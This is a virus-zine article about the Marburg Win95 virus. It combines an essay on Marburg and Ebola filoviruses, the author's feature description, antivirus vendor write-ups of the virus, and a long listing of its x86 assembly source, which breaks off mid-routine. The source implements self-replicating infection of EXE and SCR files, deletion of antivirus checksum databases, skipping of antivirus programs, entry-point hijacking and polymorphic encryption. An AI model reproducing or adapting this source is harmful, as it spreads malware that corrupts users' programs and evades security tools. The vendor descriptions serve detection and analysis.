Marburg virus - BioCoded by GriYo / 29A --------------------------------------- Index: ------ 1 - About the biological version 2 - Author's description 3 - Description from Datafellows 4 - Description from AVP 5 - Description from DrSolomon 6 - Marburg source code 1 - About the biological version -------------------------------- 1967: Marburg/Frankfurt, Germany. Laboratory workers preparing primary cell cultures from African green monkeys resulted in an outbreak of a previously unrecognised disease. Highly infectious: 31 cases, 7 deaths. 1976: Outbreak of a previously unrecognised haemorrhagic fever in Zaire and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths. Ebola virus, a member of the Filoviridae, burst from obscurity with spectacular outbreaks of severe, haemorrhagic fever. It was first associated with an outbreak of 318 cases and a case-fatality rate of 90% in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller outbreaks continue to appear periodically, particularly in East, Central and southern Africa. In 1989, a haemorrhagic disease was recognized among cynomolgus macaques imported into the United States from the Philippines. Strains of Ebola virus were isolated from these monkeys. Serologic studies in the Philippines and elsewhere in Southeast Asia indicated that Ebola virus is a prevalent cause of infection among macaques. These threadlike polymorphic viruses are highly variable in length apparently owing to concatemerization. However, the average length of an infectious virion appears to be 920 nm. The virions are 80 nm in diameter with a helical nucleocapsid, a membrane made of 10 nm projections, and host cell membrane. They contain a unique single-stranded molecule of noninfectious (negative sense) RNA. The virus is composed of 7 polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other undesignated proteins. Proteins are produced from polyadenylated monocistronic mRNA species transcribed from virus RNA. The replication in and destruction of the host cell is rapid and produces a large number of viruses budding from the cell membrane. Epidemics have resulted from person to person transmission, nosocomial spread or laboratory infections. The mode of primary infection and the natural ecology of these viruses are unknown. Association with bats has been implicated directly in at least 2 episodes when individuals entered the same bat-filled cave in Eastern Kenya. Ebola infections in Sudan in 1976 and 1979 occurred in workers of a cotton factory containing thousands of bats in the roof. However, in all instances, study of antibody in bats failed to detect evidence of infection, and no virus was isolated from bat tissue. The index case in 1976 was never identified, but this large outbreak resulted in 280 deaths of 318 infections. The outbreak was primarily the result of person to person spread and transmission by contaminated needles in outpatient and inpatient departments of a hospital and subsequent person to person spread in surrounding villages. In serosurveys in Zaire, antibody prevalence to Ebola virus has been 3 to 7%. The incubation period for needle-transmitted Ebola virus is 5 to 7 days and that for person to person transmitted disease is 6 to 12 days. The virus spreads through the blood and is replicated in many organs. The histopathologic change is focal necrosis in these organs, including the liver, lymphatic organs, kidneys, ovaries and testes. The central lesions appear to be those affecting the vascular endothelium and the platelets. The resulting manifestations are bleeding, especially in the mucosa, abdomen, pericardium and vagina. Capillary leakage appears to lead to loss of intravascular volume, bleeding, shock and the acute respiratory disorder seen in fatal cases. Patients die of intractable shock. Those with severe illness often have sustained high fevers and are delirious, combative and difficult to control. The serologic method used in the discovery of Ebola was the direct immunofluorescent assay. The test is performed on a monolayer of infected and uninfected cells fixed on a microscopic slide. IgG- or IgM-specific immunoglobulin assays are performed. These tests may then be confirmed by using western blot or radioimmunoprecipitation. Virus isolation is also a highly useful diagnostic method, and is performed on suitably preserved serum, blood or tissue specimens stored at -70oC or freshly collected. No specific antiviral therapy presently exists against Ebola virus, nor does interferon have any effect. Past recommendations for isolation of the patient in a plastic isolator have given way to the more moderate recommendation of strict barrier isolation with body fluid precautions. This presents no excess risk to the hospital personnel and allows substantially better patient care, as shown in Table 2. The major factor in nosocomial transmission is the combination of the unawareness of the possibility of the disease by a worker who is also inattentive to the requirements of effective barrier nursing. after diagnosis, the risk of nosocomial transmission is small. The basic method of prevention and control is the interruption of person to person spread of the virus. However, in rural areas, this may be difficult because families are often reluctant to admit members to the hospital because of limited resources and the culturally unacceptable separation of sick or dying patients from the care of their family. Experience with human disease and primate infection suggests that a vaccine inducing a strong cell-mediated response will be necessary for virus clearance and adequate protection. Neutralizing antibodies are not observed in convalescent patients nor do they occur in primates inoculated with killed vaccine. A vaccine expressing the glycoprotein in vaccinia is being prepared for laboratory evaluation. Emerging & Re-emerging Viruses: An Essay Alison Jacobson Department of Microbiology University of Cape Town 2 - Author's description ------------------------ Marburg is a direct action Win32 executable files infector. Lets look at its features in more detail... 2.1. Infection When an infected file is run the virus will look for *.EXE and *.SCR files in current directory, as well as WINDOWS and WINDOWS system directories. Marburg use size padding to mark infected files. Depending on the internal format of each file the virus sometimes infects them without modifying the entry-point field in the file header. In some files Marburg overwrites the code at its host entry-point with a block or polymorphic code. This code is used to hide the branch to viral code. Marburg infects files by mapping them in memory. This allows the virus to speed up its infection procedures. 2.2. Polymorphism The virus is encrypted under a polymorphic decryptor. The polymorphic engine uses slow mutation technics and can generate lots of different looking code. 2.3. Retro Some intergrity checksum files deleted on infection. 2.4. Error-handling The virus startup and infection routines uses estructured exception handling to prevent the virus from causing FAULTS at any time. This makes Marburg a very stable virus. 2.5. Payload A nice graphic payload inside... I think this is a must for viruses that works under GUI. 3 - Description from Datafellows -------------------------------- NAME: Marburg TYPE: Non-resident EXE -files The Win95/Marburg virus got widespread circulation in August 1998, when it was included on the master CD of the popular MGM/EA PC CD-ROM game "Wargames". The CD contains one file infected by the Marburg virus: \EREG\EREG32.EXE MGM - the publisher of the game - made an announcment on this on 12th of August, 1998: -------- From: "K.Egan (MGM)" kegan@mgm.com Subject: MGM WarGames Statement Date: Wed, 12 Aug 1998 18:03:39 -0700 MGM Interactive recently learned that its WarGames PC game shipped with the Win32/Marburg.a virus contained in the electronic registration program. The company is working as fast as it can to resolve the problem. ... MGM Interactive is committed to delivering top quality products to consumers. This is an unfortunate circumstance and we sincerely apologize for any convenience this has caused you. ... If you have any questions or if you would like to receive a replacement disc, please contact MGM Interactive. -------- The same virus also got widespread circulation in August 1998, when it was included on the cover CD of the Australian "PC Power Play" magazine. This CD contains these files infected by the Marburg virus: \GAMES\MAX2\MAX2BETA.EXE \GAMES\STARTREK\FURYDEMO.EXE In July 1998, the Win95/Marburg virus got yet again widespread circulation when it was included by accident on the cover CD of the UK-based PC Gamer Magazine's July 1998 edition. The infected files are on "CD Gamer 2" included with the magazine, and are called: \UTILS\XEARTH\XEARTH.EXE \UTILS\QPAINT\QPAINT.EXE \VIDEO\SMACKPLW.EXE The SMACKPLW program is automatically executed if you watch any of the preview videos from the CD. There are localized versions of the PC Gamer magazine in circulation in addition to the UK edition. The Swedish edition has these files infected instead of the ones listed above: \SHARE\3DJONG\M3DJONGG.EXE \PATCHAR\QUAKE2\Q2-315~8.EXE \SPEL\KKND2\DIRECTX\DDHELP.EXE The Slovenian edition has the same infected files as the UK edition. The Italian July/August edition is clean. Marburg is a polymorphic Windows 95/98 virus which contains this text: [ Marburg ViRuS BioCoded by GriYo/29A ] Marburg infects Win32 EXE and SCR (screen saver) files, encrypting its own code with variable polymorphic encryption layer. The polymorphic engine of the virus is advanced. It encrypts the virus with 8, 16 and 32 bit key with several different methods. The virus uses slow polymorphisism, which means that it changes the decryptor of itself very slowly. Marburg deletes integrity databases of several anti-virus products. It also avoids infecting many known anti-virus product executable files, including any executable which has the letter "V" in its name. This is done to avoid triggering the self-check of these programs. Marburg activates three months after initial infection. If an infected application is executed exactly on the same hour as the inital infection, the virus displays the standard Windows error icon (red cross in white circle) in random positions all over the screen. 4 - Description from AVP ------------------------ This is a direct action (nonmemory resident) Windows95 polymorphic virus. It affects PE EXE (Portable Executable) files which it searches in current, Windows and System directories. Because of bugs the virus is not able to replicate under Windows NT, so it is Windows95 specific virus. When an infected file is executed, the virus searches for KERNEL32 routines: first for GetModuleHandleA and GetProcAddress, then for 22 more functions (see the list below). While searching the virus uses method similar to "Win32.Cabanas" virus: while infecting a file the virus scans file's imported table for GetModuleHandleA and GetProcAddress, and saves these addresses in virus code. If there are no these entries in table, the virus scans KERNEL32 code. If the virus is not able to locate KERNEL32 functions, it immediately returns to the host file. Otherwise it allocates a block of system memory, copies its code to there (that's necessary to run virus polymorphic engine), then searches for files and infects them. While infecting a file the virus writes its code to the end of file into the last section, increasing its length beforehand. Before saving its code to the file the virus encrypts it by polymorphic routine (the polymorphic engine is very similar with one that was found in "Win95.HPS" virus). Depending on file structure the virus also does some tricks to make virus detection and disinfection procedures more complex: either replaces entry point address in the PE header with its own one (majority of Win32 viruses infect files in this way), or saves JMP_Virus instruction to the file entry address and does not modifies it in the PE header (in same way as "Win32.Cabanas" virus does), or writes to the entry point a polymorphic junk routine that is followed by JMP_Virus instruction. Before infecting the virus deletes anti-virus data files: ANTI-VIR.DAT, CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names and does not infect files that have 'V' letter in name as well as anti-viruses PANDA, F-PROT, SCAN. Depending on the system date (when infected file is executed in three month during the same hour as being infected) the virus displays at random selected positions on the screen the standard Windows error icon - red cross in white circle. The virus contains the text strings (the first block contains the list of functions that virus is looking for): GetModuleHandleA GetProcAddress CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle FindFirstFileA FindNextFileA FindClose VirtualAlloc GetWindowsDirectoryA GetSystemDirectoryA GetCurrentDirectoryA SetFileAttributesA SetFileTime DeleteFileA GetCurrentProcess WriteProcessMemory LoadLibraryA GetSystemTime GetDC LoadIconA DrawIcon [ Marburg ViRuS BioCoded by GriYo/29A ] KERNEL32.dll USER32.dll 5 - Description from DrSolomon ------------------------------ Win32/Marburg Polymorphic virus Infects: Windows-95 executable files (PE files - "Portable Executable") This highly polymorphic virus infects Windows-95 executable files (PE files - "Portable Executable"). When the infected file is run it searches for executable files to infect in the current directory, the Windows directory and the System directory. The virus does not go memory-resident - instead it is a direct action virus. The infected files always grow in size. The sizes of infected files are changed by the the virus to be divisible by 101 (decimal). It does this to avoid infecting the same file twice. If the virus comes across integrity-checking databases (ANTI-VIR.DAT, CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectories it deletes them. This is an attempt to avoid detection by certain anti-virus products. The virus does not infect any files having letter "V" in the name, "PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting certain anti-virus programs). The payload of the virus triggers at a random date and displays an error icon (a red cross on white circle) on the screen. Marburg has been seen in the wild, and was accidentally distributed on the cover CD ROM of UK magazine PC Gamer in July 1998. The virus was written by Griyo of the Spanish virus-writing gang 29A. 6 - Marburg source code ----------------------- After some time lost into Win32 internals im happy to present my first attempt at this plattaform. This is a Win95 highly polymorphic direct- action PE infector. Greetings to all the people at IRC-Hispano #virus and #hack irc channels. Special greetings goes this time to Jacky Qwerty, this virus wouldnt be posible without his support. -------->8 cut here --------------------------------------------------------- ;············································································ ; ; Marburg ViRuS - BioCoded by GriYo / 29A ; ;············································································ .386P locals jumps .model flat,STDCALL ;Include the following files include Win32api.inc include Useful.inc include Mz.inc include Pe.inc ;Some externals only used on 1st generation extrn GetModuleHandleA:NEAR extrn GetProcAddress:NEAR extrn ExitProcess:NEAR ;Some assumptions only valid for 1st generation mem_size equ mem_end-Mem_Base ;Size of virus in memory inf_size equ inf_end-Mem_Base ;Size of virus in files init_size equ init_end-Mem_Base ;Size of init code base_default equ 00400000h ;Default base address ;Current in-build settings SIZE_PADDING equ 00000065h DECRYPTOR_SIZE equ 00000800h BUFFER_EP equ 00000100h ;············································································ ;Fake host used for virus 1st generation ;············································································ _TEXT segment dword use32 public 'CODE' host_entry: ;This code will find the base address of KERNEL32.DLL and ;the entry point for GetProcAddress and GetModuleHandle ;functions ;This part will not be included on future infections ;coz its only needed for virus 1st generation ;Get KERNEL32 module handle push offset szKernel32 call GetModuleHandleA or eax,eax jz exit1st_gen mov dword ptr [a_Kernel32],eax ;Get address of GetModuleHandle function push offset szGetModuleH push eax call GetProcAddress or eax,eax jz exit1st_gen mov dword ptr [a_GetModuleH],eax ;Get address of GetProcAddress function push offset szGetProcAddr push dword ptr [a_Kernel32] call GetProcAddress or eax,eax jz exit1st_gen mov dword ptr [a_GetProcAddr],eax ;Execute virus mov ebx,base_default xor ebp,ebp call entry1st_gen exit1st_gen: ;Terminate virus launch process xor eax,eax push eax call ExitProcess _TEXT ends ;············································································ _DATA segment dword use32 public 'DATA' _DATA ends ;············································································ _BSS segment dword use32 public 'BSS' _BSS ends ;············································································ ;Virus main body ;············································································ virseg segment dword use32 public 'Marburg' Mem_Base equ this byte virus_entry: ;Get delta offset and host base address call get_delta init_end equ this byte get_delta: pop ebp mov ebx,ebp sub ebp,offset get_delta ;Get host base address ;Generate a SUB ebx,fix_baseaddr instruction db 81h,0EBh fix_baseaddr dd 00000000h ;Prepare return address mov eax,ebx ;Generate ADD eax,rva_org_eip db 05h rva_org_eip dd 00000000h ;Save host entry-point into stack, we will jump there ;later using a RET push eax entry1st_gen: ;End of virus initialization, at this point: ; ; ss:[esp] - Host entry-point ; ebx - Base address ; ebp - Delta offset ; ;Check if we know the GetModuleHandle entry point ;If we dont know it try to get KERNEL32 base ;address using our own code db 0B8h rva_GetModuleH dd offset a_GetModuleH-base_default or eax,eax jz use_our_own_1 ;Yes, eax is the rva for the function address push dword ptr [eax+ebx] pop dword ptr [ebp+a_GetModuleH] ;Now we know the address of GetModuleHandle, ;so use it in order to get KERNEL32.dll ;base address ;If the function fails try to get KERNEL32 base ;address using our own function lea eax,dword ptr [ebp+szKernel32] push eax call dword ptr [ebp+a_GetModuleH] or eax,eax jnz got_kernel use_our_own_1: ;No, grrr, try to get it by ourself call my_getkernel or eax,eax jz err_virus_init got_kernel: ;Save KERNEL32 base address for l8r use mov dword ptr [ebp+a_Kernel32],eax ;Now check if we know the GetProcAddress entry point db 0B8h rva_GetProcAddr dd offset a_GetProcAddr-base_default or eax,eax jz use_our_own_2 ;Yes, eax is the rva for the function address push dword ptr [eax+ebx] pop eax jmp short got_getprocaddr use_our_own_2: ;Use our own routine to get GetProcAddress entry point call my_GetProcAddr got_getprocaddr:;Save GetProcAddress entry point for l8r use mov dword ptr [ebp+a_GetProcAddr],eax ;Use GetProcAddress to get the rest of function addresses call get_functions jecxz err_virus_init ;Allocate some memory for the virus push PAGE_EXECUTE_READWRITE push MEM_RESERVE or MEM_COMMIT push mem_size+inf_size push 00000000h call dword ptr [ebp+a_VirtualAlloc] ;Exit if cant find free memory... mmm... or eax,eax jz err_virus_init ;Copy virus to allocated memory lea esi,dword ptr [ebp+Mem_Base] mov edi,eax mov ecx,mem_size cld rep movsb ;Jump to virus code into allocated memory add eax,mem_entry-Mem_Base jmp eax ;············································································ ;Entry point for resident code ;············································································ mem_entry: ;From this point we no longer care about host ;base address call mem_delta mem_delta: pop ebp sub ebp,offset mem_delta ;Get current system time lea eax,dword ptr [ebp+my_system_time] push eax call dword ptr [ebp+a_GetSysTime] ;It's time to call our payload routine???? mov ax,word ptr [ebp+inf_month] add ax,0003h mov dx,000Ch cmp ax,dx jbe check_month sub ax,dx check_month: cmp ax,word ptr [ebp+time_month] jne viral_sleep mov ax,word ptr [ebp+inf_day] cmp ax,word ptr [ebp+time_day] jne viral_sleep call payload viral_sleep: ;Do direct action stuff ;The virus will infect files on \WINDOWS, \SYSTEM and ;current directory ;Try to infect files in current directory lea eax,dword ptr [ebp+szWorkDir] push eax push MAX_PATH call dword ptr [ebp+a_GetCurDir] or eax,eax jz try_windir call do_in_dir try_windir: ;Get windows directory push MAX_PATH lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_GetWindowsDir] or eax,eax jz try_sysdir ;Try to infect files in \WINDOWS directory call do_in_dir try_sysdir: ;Get system directory push MAX_PATH lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_GetSystemDir] or eax,eax jz err_virus_init ;Try to infect files in \SYSTEM directory call do_in_dir err_virus_init: ;We have to restore code at host entry-point? xor eax,eax cmp dword ptr [ebp+insert_size],eax je back2host ;Get current process call dword ptr [ebp+a_GetCurProc] ;Restore host entry-point code ;Use WriteProcessMemory in order to prevent exceptions ;while writing to protected areas pop edx push edx xor ecx,ecx push ecx push dword ptr [ebp+insert_size] lea ecx,dword ptr [ebp+entry_code] push ecx push edx push eax call dword ptr [ebp+a_WriteProcMem] back2host: ;Back to host ret ;············································································ ;Infect *.EXE and *.SCR files in specified path ;············································································ do_in_dir: ;The virus will not infect files in the root directory ;directory ; ;Entry: ; ;eax - path string size ; ;Exit: ; ;None ; ;Trying to infect files in root directory? cmp eax,00000004h jb file_not_found ;Delete some AV checksum databases mov edx,eax mov ecx,(end_AV_files-tbl_AV_files)/04h lea esi,dword ptr [ebp+tbl_AV_files] loop_del_AV: lodsd push esi add eax,ebp mov esi,eax call delete_file pop esi loop loop_del_AV ;Insert *.* into path lea esi,dword ptr [ebp+szSearch] call copy_szMask ;FindFirstFile lea eax,dword ptr [ebp+my_FindData] push eax lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_FindFirst] cmp eax,INVALID_HANDLE_VALUE je file_not_found ;Save the search handle mov dword ptr [ebp+Search_h],eax try_this_file: ;Check file size xor eax,eax cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax jne cant_open mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING) jae cant_open ;Check if file is already infected mov ecx,SIZE_PADDING xor edx,edx div ecx or edx,edx jz cant_open ;Add filename to path cld lea esi,dword ptr [ebp+szWorkDir] mov edx,esi do_path_1: lodsb cmp al,"\" jne avoid_path mov edx,esi avoid_path: or al,al jne do_path_1 lea esi,dword ptr [ebp+my_FindData.WFD_szFileName] mov edi,edx do_path_2: lodsb cmp al,"a" jb char_is_ok sub al,("a"-"A") char_is_ok: cmp al,"V" je cant_open stosb or al,al jnz do_path_2 ;The virus does not infect files with V character in their ;names as well as the following programs: mov eax,dword ptr [edx] ;Panda antivirus cmp eax,"DNAP" je cant_open ;Datafellows F-Prot cmp eax,"RP-F" je cant_open ;McAfee Scan cmp eax,"NACS" je cant_open ;Check file extension, allow *.EXE and *.SRC files mov eax,dword ptr [edi-00000005h] cmp eax,"EXE." je target_file cmp eax,"RCS." jne cant_open target_file: ;Open and map file call open_map_file or eax,eax jz cant_open ;Check if we can infect this file call check_victim jecxz bad_host atach_2host: ;Infect file call infect_file jnc search_end jmp short cant_open bad_host: ;File cant be infected, skip it call unmap_close cant_open: ;Find next file lea eax,dword ptr [ebp+my_FindData] push eax push dword ptr [ebp+Search_h] call dword ptr [ebp+a_FindNext] cmp eax,FALSE jne try_this_file search_end: ;Close Win32 find handle push dword ptr [ebp+Search_h] call dword ptr [ebp+a_FindClose] file_not_found: ret ;············································································ ;Copy search mask into work path ;············································································ copy_szMask: ;Entry: ; ;edx - Filename offset in path string ;esi - Search mask ; ;Exit: ; ;None ; cld lea edi,dword ptr [ebp+edx+szWorkDir] mov al,"\" stosb loop_copy_name: lodsb stosb or al,al jnz loop_copy_name ret ;············································································ ;Delete file in work path ;············································································ delete_file: ;Entry: ; ;edx - Filename offset in path string ;esi - File to delete ; ;Exit: ; ;None ; ;Add filename to path push ecx push edx call copy_szMask ;Reset attributes so we can delete write protected files push FILE_ATTRIBUTE_NORMAL lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_SetFileAttr] ;Delete file lea eax,dword ptr [ebp+szWorkDir] push eax call dword ptr [ebp+a_DeleteFile] pop edx pop ecx ret ;············································································ ;Check if a given file can be infected ;············································································ check_victim: ;The host must be PE, fit allowed size and import at least ;one function from Kernel32 ; ;Entry: ; ;a_Kernel32 - Base address for kernel32 ;eax - Base address for memory mapped file ; ;Exit: ; ;ecx - Null if error ;eax - Preserved ; ;Save host base address push ebp push eax ;Set structured exception handler call SEH_SetFrame01 mov esp,dword ptr [esp+00000008h] err_checkfile: xor ecx,ecx jmp SEH_error01 SEH_SetFrame01: xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp ;Search for Kernel32 Import Module Descriptor, abort ;infection if not found mov ebx,eax ;ebx - Base address of host in memory ;Check for MZ signature at base address cld cmp word ptr [ebx],IMAGE_DOS_SIGNATURE jne err_checkfile ;Check file address of relocation table cmp word ptr [ebx+DH_lfarlc],0040h jb err_checkfile ;Now go to the pe header and check for the PE signature mov esi,dword ptr [ebx+DH_lfanew] add esi,ebx lodsd cmp eax,IMAGE_NT_SIGNATURE jne err_checkfile ;Check machine field in IMAGE_FILE_HEADER ;just allow i386 PE files cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 jne err_checkfile ;Now check the characteristics, look if file ;is an executable mov ax,word ptr [esi+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz err_checkfile ;Avoid DLL's test ax,IMAGE_FILE_DLL jnz err_checkfile ;Get pointer to imports raw data mov edx,dword ptr [esi+OH_DataDirectory. \ DE_Import. \ DD_VirtualAddress+ \ IMAGE_SIZEOF_FILE_HEADER] call RVA2RAW jecxz err_checkfile mov eax,ecx next_imd_img: ;Search for kernel32 through the array of imported ;module descriptors lea edi,dword ptr [ebp+offset szKernel32] mov esi,dword ptr [eax+ID_Name] ;Exit if the RVA to dll name doesnt exist or esi,esi jz err_checkfile ;Sub the delta offset sub esi,edx ;Get absolute address of dll name add esi,ebx ;Compare names mov ecx,00000008h push eax dll_loop: ;Get character from name into imports lodsb ;Check if character is in lowercase cmp al,"a" jb check_char ;Convert character to uppercase sub al,("a"-"A") check_char: ;Compare characters with our KERNEL32 string scasb jne bad_dll loop dll_loop verify_ok: ;Name matched, get import module descriptor pop edi ;Mutate RVAs call mutate_rvas ;Avoid files with IMAGE_SCN_MEM_SHARED in its ;last section attributes call get_last_sh test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED jnz err_checkfile ;Set ecx != NULL (success flag) xor ecx,ecx not ecx SEH_error01: ;Remove structured exception handler xor edx,edx pop dword ptr fs:[edx] pop edx ;Error, restore base address pop eax pop ebp ret bad_dll: ;Go to next imported module descriptor pop eax add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR jmp short next_imd_img ;············································································ ;Find the place where PE saves some useful information ;············································································ mutate_rvas: ;Generate a copy of the virus into a buffer ;This copy will contain some RVAs already ;loaded (GetModuleHandle, GetProcAddress or Kernel32 ;ID_ForwarderChain field) ; ;Entry: ; ;ebx - Base address for file ;edx - Section delta offset ;edi - Kernel32 Import Module Descriptor ; ;Exit: ; ;RVA's loaded into virus body (NULL if function not found) ; ;Copy virus to infection buffer push edi lea esi,dword ptr [ebp+Mem_Base] lea edi,dword ptr [esi+mem_size] mov ecx,inf_size-DECRYPTOR_SIZE cld rep movsb pop edi ;Save rva to ID_ForwarderChain field lea eax,dword ptr [edi+ID_ForwarderChain] sub eax,ebx add eax,edx mov dword ptr [ebp+rva_kernel32+mem_size],eax ;Check if file is binded mov eax,dword ptr [ebp+a_Kernel32] mov esi,dword ptr[eax+IMAGE_DOS_HEADER.DH_lfanew] add esi,eax add esi,NT_FileHeader.FH_TimeDateStamp lodsd mov esi,dword ptr [edi+ID_FirstThunk] sub esi,edx add esi,ebx cmp eax,dword ptr [edi+ID_TimeDateStamp] je binded_file ;esi - Import Address Table for KERNEL32 ;Save RVA for GetModuleHandle push esi lea edi,dword ptr [ebp+szGetModuleH] call find_by_name mov dword ptr [ebp+rva_GetModuleH+mem_size],eax ;Save RVA for GetProcAddress pop esi lea edi,dword ptr [ebp+szGetProcAddr] call find_by_name mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax ret binded_file: ;esi - Import Address Table for KERNEL32 ;Binded GetModuleHandle push esi mov edi,dword ptr [ebp+a_GetModuleH] call find_by_address mov dword ptr [ebp+rva_GetModuleH+mem_size],eax ;Binded GetProcAddress pop esi mov edi,dword ptr [ebp+a_GetProcAddr] call find_by_address mov dword ptr [ebp+rva_GetProcAddr+mem_size],eax ret ;············································································ ;Get RVA of an API function in a binded file ;············································································ find_by_address:; ;Entry: ; ;edx - Delta offset for last section ;esi - Import Address Table for KERNEL32 ;edi - Function entry point ; ;Exit: ; ;eax - RVA of function address (NULL if not found) ; search_thunk: ;Check if this is the storage address lodsd or eax,eax jz err_by_address cmp eax,edi jne search_thunk ;Calculate the offset of that thunk dword into file lea eax,dword ptr [esi-00000004h] sub eax,ebx add eax,edx ret err_by_address: xor eax,eax ret ;············································································ ;Find RVA of a function imported by name ;············································································ find_by_name: ; ;Entry: ; ;edx - Delta offset for last section ;esi - Import Address Table for KERNEL32 ;edi - Function name ; ;Exit: ; ;eax - RVA of function address (NULL if not found) ; ;Search for function name into IMAGE_IMPORT_BY_NAME ;structure pointed by every dword in the thunk data array loop_by_name: ;Get address of IMAGE_IMPORT_BY_NAME structure lodsd or eax,eax jz err_by_name ;Get pointer to function name push esi push edi sub eax,edx lea esi,dword ptr [eax+ebx+00000002h] ;Compare strings name_by_name: lodsb or al,al jz ok_by_name scasb je name_by_name ;Go to next entry into Import Address Table pop edi pop esi jmp loop_by_name ok_by_name: pop edi pop esi lea eax,dword ptr [esi-00000004h] sub eax,ebx add eax,edx err_by_name: ret ;············································································ ;Infection and mutation ;············································································ infect_file: ; ;Entry: ; ;My_FindData - Win32 FindFile structure filled with data ; about file to infect ;eax - Base address of memory mapped image ; ;Exit: ; ;None ; ;Get last section header mov ebx,eax call get_last_sh ;ebx - Host base address ;esi - IMAGE_OPTIONAL_HEADER ;edi - Pointer to last section header ;This will help us later for calculating host base address mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] add eax,dword ptr [edi+SH_VirtualAddress] sub eax,dword ptr [edi+SH_PointerToRawData] add eax,init_size mov dword ptr [ebp+fix_baseaddr+mem_size],eax ;Copy original code at entry point into our buffer mov edx,dword ptr [esi+OH_AddressOfEntryPoint] mov dword ptr [ebp+rva_org_eip+mem_size],edx call RVA2RAW mov esi,ecx lea edi,dword ptr [ebp+entry_code+mem_size] mov ecx,BUFFER_EP rep movsb ;Free memory mapped file mov eax,ebx call unmap_close ;Add virus size to file size and re-map it mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] mov dword ptr [ebp+original_size],eax add eax,inf_size mov ecx,SIZE_PADDING xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax call open_map_file or eax,eax jnz done_re_open stc ret done_re_open: ;ebx - host base address all along the following code mov ebx,eax ;Initialize poly engine register table ;We are going to insert some garbage code at host ;entry-point, followed by a JMP to polymorphic ;decryptor ;This routine will also initialize random number ;generator call init_poly ;Check for relocations over entry-point code call get_last_sh mov edx,dword ptr [esi+OH_DataDirectory. \ DE_BaseReloc. \ DD_VirtualAddress] ;Lovely file, no relocations, so we cant generate ;lots of polymorphic code at host entry-point or edx,edx jz lovely_file call RVA2RAW mov edi,esi mov esi,ecx ;ebx - Host base address ;ecx - Pointer to RAW data or NULL if error ;edx - Section delta offset ;esi - Pointer to section RAWDATA ;edi - Pointer to IMAGE_OPTIONAL_HEADER ;Check relocations over host entry-point code call do_reloc_work ;We have space for inserting some garbage code? cmp eax,00000005h jb fuxoring_file ;Another lovely file, eh? cmp eax,BUFFER_EP jb ugly_file lovely_file: ;We reach this code for 3 posible reasons: ; ; 1) When the target file have no relocations or... ; 2) All the relocations are behind the entry-point or... ; 3) We have lots space from entry-point to 1st reloc ;Save number of bytes to restore at host entry-point mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP ;Get RAW of entry-point call get_last_sh mov edx,dword ptr [esi+OH_AddressOfEntryPoint] call RVA2RAW mov edi,ecx ;Generate a piece of polymorphic code at host entry-point push ebx push edi call gen_garbage pop eax sub eax,edi pop ebx ;Insert a jump to virus code at entry point jmp short insert_jump ugly_file: ;There are no relocations over first five bytes of ;code at host entry-point ;So we can insert a JUMP to virus polymorphic decryptor ;Save size of code to generate mov dword ptr [ebp+insert_size+mem_size],00000005h ;Where to place the JUMP mov edx,dword ptr [edi+OH_AddressOfEntryPoint] call RVA2RAW mov edi,ecx xor eax,eax ;Insert a jump to virus code at entry point insert_jump: push eax mov al,0E9h stosb push edi call get_last_sh mov eax,dword ptr [ebp+original_size] add eax,poly_decryptor-Mem_Base sub eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_VirtualAddress] sub eax,dword ptr [esi+OH_AddressOfEntryPoint] sub eax,00000005h pop edi pop edx add eax,edx stosd ;Execution continues on next routine ;············································································ ;Attach virus to file ;············································································ back2infection: ;We fall here after the entry-point stuff ;Complete infection and do polymorphic encryption ;Save current system time inside virus body lea eax,dword ptr [ebp+inf_time+mem_size] push eax call dword ptr [ebp+a_GetSysTime] ;Generate polymorphic encryption push ebx call mutate pop ebx ;Get pointer to last section call get_last_sh ;ebx - Host base address ;esi - IMAGE_OPTIONAL_HEADER ;edi - Pointer to last section header ;Get new SizeOfRawData and VirtualSize mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] add eax,mem_size-inf_size sub eax,dword ptr [edi+SH_PointerToRawData] mov edx,eax cmp eax,dword ptr [edi+SH_VirtualSize] jbe ok_VirtualSize mov dword ptr [edi+SH_VirtualSize],eax ok_VirtualSize: mov eax,edx xor edx,edx mov ecx,dword ptr [esi+OH_FileAlignment] div ecx inc eax mul ecx mov dword ptr [edi+SH_SizeOfRawData],eax ;Set section characteristics or dword ptr [edi+SH_Characteristics], \ IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE ;Update OH_SizeOfImage mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] mov edx,dword ptr [esi+OH_SizeOfImage] cmp eax,edx jae done_image_s lea eax,dword ptr [edx+mem_size] done_image_s: xor edx,edx mov ecx,dword ptr [esi+OH_SectionAlignment] div ecx inc eax mul ecx mov dword ptr [esi+OH_SizeOfImage],eax ;Write virus into memory mapped file mov ecx,inf_size lea esi,dword ptr [ebp+Mem_Base+mem_size] mov edi,ebx add edi,dword ptr [ebp+original_size] rep movsb ;Free memory mapped file mov eax,ebx call unmap_close ;Exit, file is infected clc ret ;············································································ ;Get RAW of entry ;············································································ ;············································································ ;Change the entry-point 